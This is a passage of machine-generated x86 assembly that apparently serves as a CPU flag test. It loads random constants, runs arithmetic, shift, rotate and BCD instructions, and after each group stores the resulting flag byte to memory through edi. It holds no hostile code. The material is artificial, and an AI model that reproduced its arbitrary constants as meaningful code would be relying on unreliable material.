pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xd8d03542
mov ecx, 0x20936b2e
rol eax, cl
mov ebx, 0xf4054a6a
add ebx, 0x9c5a46c1
mov eax, 0x285b9224
aas
mov ebx, 0x35228640
neg ebx
mov eax, 0x4539c62e
mov ecx, 0x4900aa75
rol eax, cl
mov ebx, 0x99a86969
mov ecx, 0x7dcbbd96
sal ebx, cl
mov edx, 0x303ad7b
mov eax, 0x62806f9d
add edx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x2df1441e
mov ecx, 0x198d1b5
ror ebx, cl
mov ebx, 0x6bb0ca0e
rol ebx, 1
mov edx, 0xe63f90bb
mov ecx, 0x525e887c
sar edx, cl
mov edx, 0x78d12f45
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7109b4bd
dec eax
mov edx, 0x14c5d643
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x4672525c
sub ecx, 0xeac39cec
mov eax, 0x701f9529
aas
mov ebx, 0x6583892
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x7b9ca258
dec edx
mov ebx, 0xe5d2a8a7
mov ecx, 0x185df76f
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x90b83a0f
mov ebx, 0xde911d08
sub ecx, ebx
mov eax, 0xbed08f07
aaa
mov edx, 0x79ce8672
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x97e8e5e4
aaa
mov eax, 0xb532d076
mov ecx, 0x93da0c4
ror eax, cl
mov eax, 0x582cca21
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5fd7e606
rol eax, 1
mov ebx, 0xf72ed262
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xb199509
shl eax, 1
mov eax, 0xb57885a0
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7b9aebd3
shl eax, 1
mov edx, 0x28c04742
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x6ebbc5ee
rol eax, 1
mov edx, 0xea11e882
cmp edx, 0x7763d35
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xca499f8f
dec ecx
mov ebx, 0x525abebb
mov ecx, 0xc2056001
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x2cbd3eab
aas
mov edx, 0x2129038c
mov eax, 0xccae437a
sub edx, eax
mov eax, 0x53c86fa7
aaa
mov eax, 0x13550fde
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x580db6f6
mov ecx, 0x52a405e1
rol eax, cl
mov edx, 0x680958bd
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xacd49d90
sar edx, 0x66
mov ecx, 0x42be70c3
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4ab19c77
rol edx, 1
mov ebx, 0x4d94c5a9
mov ecx, 0x1de70a6e
ror ebx, cl
mov edx, 0x569a8cef
mov ecx, 0x2f450cae
rol edx, cl
mov eax, 0x7ac15907
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xe2d8dde9
mov edx, 0x96310ac3
sub eax, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd58fe107
mov ecx, 0x2cee3bf0
rol eax, cl
mov eax, 0xfe52ce7b
dec eax
mov ebx, 0x584ce09f
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xed133e3c
inc edx
mov ebx, 0x476f6a7f
rol ebx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xc526964d
rol edx, 1
mov ebx, 0xc880206b
mov ecx, 0x41039c8b
rol ebx, cl
mov eax, 0x677481bf
inc eax
mov eax, 0x285e8523
mov ecx, 0xdd995952
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe53671f5
mov ecx, 0xa6d183e9
rol eax, cl
mov eax, 0xa127922f
mov ebx, 0xafd44c8b
sub eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x735e2c8
mov ecx, 0x256c8f4d
rol ebx, cl
mov ebx, 0xc8b33557
cmp ebx, 0x2e7022f9
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x27714c46
mov ecx, 0xf1180902
rol edx, cl
mov eax, 0x53a92a11
dec eax
mov eax, 0xd406702c
mov ecx, 0xcee1311e
rol eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x50812c4
mov ecx, 0xfaab6733
rol edx, cl
mov edx, 0x6d20c8ac
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2a8b58ac
mov ecx, 0x85afbe5
shl edx, cl
mov ecx, 0x48b2c39c
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x84758f26
mov ecx, 0x4fac50ce
ror eax, cl
mov ebx, 0x935e2bc8
cmp ebx, 0x933f9a01
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x94f21476
sub eax, 0x57437d0b
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x6bbb4e6e
dec ecx
mov eax, 0x1ea21a7a
mov ecx, 0x726d47d6
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd0ddd505
mov ecx, 0xecb4c432
sar ebx, cl
mov ebx, 0x5e7f93ae
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x4d98254f
inc eax
mov edx, 0x3d62f640
rol edx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x1edca1af
aas
mov edx, 0xc312b8f6
sub edx, 0xbae3626c
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1de6aa8d
sub ecx, 0xff272315
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd86ee4fa
sub ecx, 0xdb0f3fd3
mov eax, 0x1886231
aas
mov edx, 0x87469cf1
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x391ece84
rol ebx, 1
mov edx, 0xd839ccbf
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x64453da9
mov ecx, 0x8cbc6b34
ror edx, cl
mov eax, 0xb754e7c7
shl eax, 1
mov ebx, 0x44501496
neg ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xd275e6ec
sar ebx, 0xa5
mov ecx, 0xa4d671de
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf074f73f
mov ecx, 0xe99d2f34
cmp ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x225bf21f
dec ebx
mov eax, 0x81d35f9d
mov ecx, 0x8fc24743
rol eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x551acf87
rol ebx, 1
mov edx, 0xeebec6b6
sal edx, 1
mov ecx, 0x179680b0
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x2a9c4628
mov eax, 0xdca5acbd
sub ebx, eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x72cccd99
shl eax, 0xcf
mov eax, 0xb5e28c00
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xd35cc0d7
aaa
mov ecx, 0xf231a8c1
inc ecx
mov edx, 0x5533552e
mov ecx, 0x14a21bd0
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xa38738ad
mov edx, 0xf2b4cb2b
sub ecx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8c952396
mov ecx, 0xe44c5796
rol ebx, cl
mov eax, 0xe78bff2f
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xbd03b4fb
mov ecx, 0xf9b2db75
ror eax, cl
mov ebx, 0xf9753fc9
mov ecx, 0x78ac9ab2
ror ebx, cl
mov ecx, 0x3362397c
inc ecx
mov eax, 0x29e59c0d
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x6891ac5f
sal ebx, 0xe2
mov ecx, 0x74a7abb3
add ecx, 0xbd54691d
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xb7f8d4f
inc edx
mov eax, 0x74119f0d
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xd6bdadf2
sub ecx, 0x34b22101
mov eax, 0xe9fe58c9
aaa
mov ebx, 0xdbac442b
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf444829b
mov ecx, 0x71576a5d
ror ebx, cl
mov ebx, 0x895d978b
cmp ebx, 0x2d2e532
mov eax, 0x8715ab0b
aas
mov edx, 0x15b8829f
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xe3d0bf62
rol eax, 1
mov ebx, 0x8202bb77
mov ecx, 0xc74d7667
sal ebx, cl
mov eax, 0xb8e04931
mov ecx, 0x36e35bab
rol eax, cl
mov ebx, 0xdfe9a3df
mov ecx, 0xe07093b6
rol ebx, cl
mov edx, 0x1606e01f
inc edx
mov edx, 0x92602fff
mov ecx, 0x86638f0a
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcb64adf
shl eax, 1
mov eax, 0x4a8c78f
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf24331c2
mov ecx, 0xbbf2ef2f
rol ebx, cl
mov edx, 0x84b5d3a5
rol edx, 1
mov ebx, 0xb7316376
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x5257c82
sal ebx, 1
mov edx, 0xf7082dc9
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x39e482df
sal ebx, 1
mov edx, 0xabb5b673
mov eax, 0x724ab08f
cmp edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd1330099
dec ecx
mov eax, 0xec256ea7
mov ecx, 0xc81cd73a
rol eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x7add1e68
rol edx, 1
mov eax, 0x68f3b29d
sal eax, 0x84
mov edx, 0xf255c43f
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x27ce47da
cmp eax, 0xe6ef2757
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7a00ee74
inc eax
mov eax, 0xc156d9fb
mov ecx, 0xdf71c26a
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2c061b25
mov eax, 0xc2c774e1
sub edx, eax
mov ebx, 0x66d6a590
mov eax, 0x2d575d55
add ebx, eax
mov ebx, 0xe43b1bd4
sub ebx, 0x575837d1
mov edx, 0xf3e772fb
rol edx, 1
mov edx, 0xb7e8980
mov ecx, 0xd9393896
ror edx, cl
mov edx, 0x618ae68d
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe1c49e60
aaa
mov ecx, 0x1bcb66a
add ecx, 0x35450b12
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xc7fdde6e
mov ecx, 0xcc542b96
ror eax, cl
mov eax, 0x6749cea2
rol eax, 1
mov ecx, 0x1562ee50
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xe4c8e647
cmp ecx, 0x8961af01
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x399bab9
inc ecx
mov edx, 0xe6105082
mov ecx, 0x1ad30add
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6b7d778f
sub edx, 0xa727a7f
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x78179d2e
mov eax, 0x5404ce2a
sub ebx, eax
mov eax, 0x9039aea5
mov ecx, 0xe000165e
sal eax, cl
mov ebx, 0xfc8a4286
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xfad25c3
mov edx, 0x92e28fa2
sub ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc6f458cd
mov ecx, 0x20c7899d
sar eax, cl
mov ecx, 0x33d85d7f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf7692bc9
rol edx, 1
mov eax, 0x43086093
mov ecx, 0x70ab25e1
rol eax, cl
mov edx, 0x6b20dd65
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xe9029eb7
inc ecx
mov ebx, 0x934eef3f
mov ecx, 0x5e49b423
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8d8140d3
rol edx, 1
mov eax, 0xf63c1d05
dec eax
mov edx, 0x23419513
mov ecx, 0x3a28465a
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdb6ea987
shl eax, 1
mov ecx, 0x4407fc88
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xfc1eadd7
mov ecx, 0xa859eccb
ror ebx, cl
mov eax, 0x70f64279
shl eax, 1
mov ecx, 0x59c93f9a
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4ee8d16a
mov ecx, 0xc00be77f
ror edx, cl
mov edx, 0x6e65d29a
cmp edx, 0xf73ac081
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3392274c
mov ecx, 0x51d7161
rol eax, cl
mov ebx, 0x77894da3
sal ebx, 1
mov ecx, 0x34541c3
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x55fdc4ab
mov ecx, 0xd25435d4
rol eax, cl
mov ebx, 0xab48bf0
dec ebx
mov ebx, 0x1e20cedd
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x107ca0e7
sal ebx, 1
mov eax, 0x64819358
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x22b9dd6c
dec ecx
mov edx, 0xc17b3215
mov ecx, 0xe50ae38b
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2c29e9fe
dec ebx
mov ebx, 0x5286fce3
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9cc31090
neg eax
mov ecx, 0xe1fc1eee
dec ecx
mov eax, 0x8ea6efd5
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcc7e1e35
mov ecx, 0xfe393576
rol edx, cl
mov eax, 0xc0fba73d
aas
mov ebx, 0xc4cf8aae
inc ebx
mov eax, 0x7ec732c8
mov ecx, 0x5806b1c1
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x61d59377
inc ecx
mov eax, 0x46512bd9
mov ecx, 0xbf78db45
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeca779dc
sub ebx, 0xd554a355
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6eb5423e
mov eax, 0x794acf4e
cmp edx, eax
mov eax, 0x4d97bb04
aas
mov eax, 0xbf6da6da
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x588fbc9d
aaa
mov edx, 0x5ddd0837
mov ecx, 0x8db4582e
ror edx, cl
mov ecx, 0x837f61cb
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc250e5fa
sal edx, 1
mov ebx, 0x64050561
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf614a90a
mov ecx, 0x18672a23
rol ebx, cl
mov edx, 0xad5f27d0
rol edx, 1
mov eax, 0x6f1b1a7
rol eax, 1
mov ecx, 0x26ae6498
dec ecx
mov eax, 0x5d8664a2
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x975e4c31
rol eax, 1
mov eax, 0xea09cc58
sal eax, 1
mov ecx, 0x3c3c3425
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2c6c1a4e
mov ecx, 0x511fa222
sal edx, cl
mov ebx, 0x5961a11
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xc00f4007
mov ecx, 0x316e19ab
ror ebx, cl
mov ebx, 0x252c0bbc
mov ecx, 0xb4df189d
ror ebx, cl
mov ebx, 0x7d8dbb3f
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x8dbcd9d0
rol ebx, 1
mov edx, 0x1ba749a0
mov ecx, 0xdc663fb3
rol edx, cl
mov eax, 0xc2f930c3
rol eax, 1
mov ebx, 0x12817896
mov ecx, 0x5e689fe2
rol ebx, cl
mov edx, 0x55bda890
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xddd6a0c3
mov ecx, 0x9df17a07
rol eax, cl
mov eax, 0x282d79e7
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2935ce0e
shl ebx, 1
mov ecx, 0x36585c2b
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xfab3965b
mov ecx, 0xe022533e
ror edx, cl
mov edx, 0x8f0fbe11
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xb465982
rol edx, 1
mov eax, 0x1782fc79
shl eax, 1
mov ebx, 0xb0c484e0
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x4aa70c7f
sub eax, 0xdb543f1b
mov eax, 0xaf4a8a7b
aaa
mov ebx, 0x71f0e980
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6cab59d0
mov ecx, 0x7efa4106
rol eax, cl
mov eax, 0x3d9de8ae
mov ecx, 0x1474383a
sar eax, cl
mov eax, 0x16992236
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x165bf0e5
aas
mov eax, 0xd809909c
mov ecx, 0xea0ebc90
sub eax, ecx
mov eax, 0x4c4bcad4
aaa
mov edx, 0xdcd4ebe0
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x5035e9be
mov ebx, 0x7cca0076
sub eax, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x876e63fe
mov ecx, 0xee938b3
rol ebx, cl
mov ebx, 0x760a3
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8307874
dec edx
mov edx, 0x775c3749
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x6f8cf707
inc ebx
mov eax, 0x2fb6cf93
mov ecx, 0x8b51acdb
ror eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x7f8e1fc4
mov ecx, 0x538917b3
ror ebx, cl
mov eax, 0x6fa817a0
mov ecx, 0xebcb75aa
rol eax, cl
mov ebx, 0xcef2af7d
rol ebx, 1
mov eax, 0xd4d796f
sal eax, 0x22
mov eax, 0x6a4e454b
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xbd7b31d9
mov edx, 0x57985993
cmp eax, edx
mov edx, 0x165d6163
mov ebx, 0xbd290ef
add edx, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x7c91be5c
inc ebx
mov edx, 0x50cd15bb
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6dfc3ff9
mov ecx, 0x5eeff4f2
ror edx, cl
mov eax, 0x6de8af6d
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe1df601e
mov ecx, 0x4e2ca772
cmp eax, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9f24666
mov ecx, 0xb8fd99bc
rol edx, cl
mov eax, 0xab548ff
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x376a8178
mov ecx, 0xd155035d
rol edx, cl
mov eax, 0xd60d66ef
mov ecx, 0x8a487fa
ror eax, cl
mov ebx, 0x2d41e24e
rol ebx, 1
mov edx, 0x5840bc55
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdccc722f
sub eax, 0x5b15c56f
mov eax, 0x9391d977
aaa
mov ecx, 0x45a667ff
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xf0dfaa81
mov edx, 0xb12c1c31
sub eax, edx
mov eax, 0x2e719002
aas
mov edx, 0xf9c43fd6
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4abfd389
mov ecx, 0x78de0f46
sar eax, cl
mov eax, 0xf2255246
aas
mov ebx, 0x2452a847
mov ecx, 0x40dd2a22
rol ebx, cl
mov edx, 0x4edc1051
sar edx, 0xeb
mov eax, 0x7c96a603
mov ecx, 0x7fb12b9b
rol eax, cl
mov eax, 0x73e93b31
mov ecx, 0x44701dc2
ror eax, cl
mov eax, 0x188cdd8e
mov edx, 0x4bd52943
add eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbcbce20e
dec ebx
mov edx, 0xe8a85d68
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcb31d261
rol edx, 1
mov eax, 0x6633a067
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x4223dd56
add eax, 0x3208ff3
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5ab09a39
sal eax, 0x87
mov ebx, 0x21ba40fa
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x207440b8
aas
mov ebx, 0x6d6a37fe
dec ebx
mov ebx, 0x3fc2d0bb
rol ebx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x87c5b12b
mov ecx, 0xe3c1ba3
rol eax, cl
mov eax, 0xa66530c1
rol eax, 1
mov ebx, 0x61f49551
mov ecx, 0x47c73bd2
ror ebx, cl
mov ebx, 0x7d42cb30
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3b45d3e6
dec eax
mov eax, 0x35a7e97f
mov ecx, 0x1e66e997
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc4a2e93f
sub ecx, 0x4533f55c
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x294d9c35
sub eax, 0x3c0233c6
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa1260244
rol edx, 1
mov ecx, 0x874b4481
mov ebx, 0xa5285161
sub ecx, ebx
mov eax, 0x317d7e8a
aaa
mov ebx, 0xce177b9f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xde6e1060
rol eax, 1
mov ebx, 0x1ddf4153
rol ebx, 1
mov ebx, 0xf37103c1
mov ecx, 0x6d187d1e
rol ebx, cl
mov edx, 0x4c73ab9c
mov ecx, 0x60e2546a
rol edx, cl
mov eax, 0x2433e22d
add eax, 0x23f000b2
mov eax, 0x8f1c39ad
aaa
mov eax, 0xbac5522
rol eax, 1
mov edx, 0x7c27b3f4
mov ecx, 0x6ee66413
rol edx, cl
mov ebx, 0x2a1e58f0
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x45b8cdd0
aaa
mov eax, 0xcf857ef3
rol eax, 1
mov ebx, 0x232ddc7
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb7fbae6a
mov ecx, 0xa58a11d8
ror eax, cl
mov ebx, 0xd763789c
mov eax, 0xf60ddfa
cmp ebx, eax
mov eax, 0xb0eafc11
aaa
mov ecx, 0x15513fb4
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x289a6170
shl eax, 1
mov ebx, 0x7af98fc1
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x84d800e0
mov ecx, 0x57bb3f16
ror edx, cl
mov eax, 0xfe6d3c5e
aaa
mov eax, 0x1c20c77e
cmp eax, 0xe9d93e03
mov eax, 0x4a951ec0
aas
mov ebx, 0x4f9b39e2
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x320213ff
dec ecx
mov edx, 0xff5a774c
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x48b9ca67
sal eax, 1
mov eax, 0x35d6df86
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xae9d4115
mov ecx, 0xa974b6c4
rol eax, cl
mov eax, 0x6135431f
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x7804f1c7
rol ebx, 1
mov ebx, 0x10706146
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x52b1390
rol ebx, 1
mov edx, 0xc05d9ce9
mov ecx, 0xea34f17a
ror edx, cl
mov eax, 0xe52aa750
mov ecx, 0x9e15e919
rol eax, cl
mov eax, 0x7acd9d40
shl eax, 1
mov ecx, 0x38ef1ebe
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa02cba42
cmp edx, 0xcaf5a933
lahf
mov byte [edi], ah
inc edi
mov edx, 0x63ad0b17
rol edx, 1
mov eax, 0xdacfbe6a
mov ecx, 0xff2ec512
ror eax, cl
mov ebx, 0x58ec6f2a
rol ebx, 1
mov eax, 0xc968efaa
mov ecx, 0x948b8de3
ror eax, cl
mov ebx, 0x5d806e5b
mov ecx, 0xa03f6d8
ror ebx, cl
mov edx, 0x9009e30c
rol edx, 1
mov ecx, 0x9b174eb0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x847a60ba
mov ecx, 0xe8a585d3
rol ebx, cl
mov ebx, 0x51e2adb0
mov ecx, 0xe97363d1
add ebx, ecx
mov eax, 0x8f5c42aa
aaa
mov ebx, 0x13eb0acf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x75609687
mov ecx, 0x1563cb08
ror eax, cl
mov ebx, 0x7a82527
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x28024368
rol ebx, 1
mov eax, 0xd38b65f0
rol eax, 1
mov edx, 0xdda45bbb
rol edx, 1
mov eax, 0xfe6a3dd
shl eax, 1
mov edx, 0x4d7d9d4b
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6d6c7526
rol ebx, 1
mov edx, 0x8a170943
mov ecx, 0x3e96d07f
rol edx, cl
mov ebx, 0xb33241a2
mov ecx, 0x3f3d3749
ror ebx, cl
mov eax, 0xb4fb79f1
inc eax
mov eax, 0x93307c59
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xd2eb4015
rol eax, 1
mov ebx, 0x201d74fb
rol ebx, 1
mov eax, 0x65de5fc6
aas
mov edx, 0xdfeecfa9
mov eax, 0xc8fcda3
sub edx, eax
mov eax, 0xfec64e89
aaa
mov ecx, 0x41528f97
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x43badce0
mov ecx, 0x1ce5dc88
sal ebx, cl
mov eax, 0x875849aa
rol eax, 1
mov eax, 0x4b9158c0
neg eax
mov eax, 0xfcdb40d
aas
mov edx, 0xe71de62f
rol edx, 1
mov eax, 0xc2bf722d
rol eax, 1
mov ecx, 0xdb53dcff
inc ecx
mov eax, 0x949a2cf7
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x56f934e0
sal ebx, 1
mov edx, 0x69b52c46
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa9bd7fbf
mov ecx, 0x1d14b37b
ror edx, cl
mov edx, 0x30fea4f0
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xb1f145d6
mov ecx, 0x159844ad
ror ebx, cl
mov eax, 0x16f33487
mov ecx, 0xc562376f
ror eax, cl
mov eax, 0xb947363e
mov ebx, 0xb5748912
cmp eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb055bd37
mov ecx, 0x3f0c35bb
ror edx, cl
mov edx, 0x58c52946
mov ecx, 0x833c2512
sar edx, cl
mov edx, 0x25e6574a
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x10c70f38
mov ecx, 0xf20696cb
ror eax, cl
mov edx, 0x35ee3c91
mov ecx, 0x67696b41
ror edx, cl
mov eax, 0xce492412
mov ecx, 0x434e2c52
sub eax, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xfe4fbb80
neg edx
mov eax, 0x966c54f7
rol eax, 1
mov ebx, 0x138cabea
rol ebx, 1
mov edx, 0x33d96807
mov ebx, 0x619eafb3
sub edx, ebx
mov ebx, 0xbac8fa87
mov ecx, 0xef6b5701
rol ebx, cl
mov eax, 0xa83fb840
mov ecx, 0xdc5e2ff2
rol eax, cl
mov ecx, 0x630933b0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4058ed69
sal ebx, 0xa6
mov edx, 0x4b7a6a4b
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6a5d39e0
mov ecx, 0xfc3426d9
ror ebx, cl
mov eax, 0x171e398b
dec eax
mov eax, 0x38d05411
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x70e786ab
mov ecx, 0x3ea6d7ae
ror ebx, cl
mov ebx, 0xb4f52852
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4473995b
rol edx, 1
mov eax, 0x7d19a4ff
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xef785666
mov ecx, 0x48db2e9f
ror edx, cl
mov eax, 0x22c02028
sar eax, 0xf3
mov ebx, 0x50bb547a
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x97a27cf4
mov ecx, 0x2f6d003b
ror eax, cl
mov edx, 0xd8b08734
mov ebx, 0x1329f3a6
add edx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7c12a562
mov ecx, 0x1f9d0939
sar eax, cl
mov ecx, 0x475e51e8
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2a0d54c6
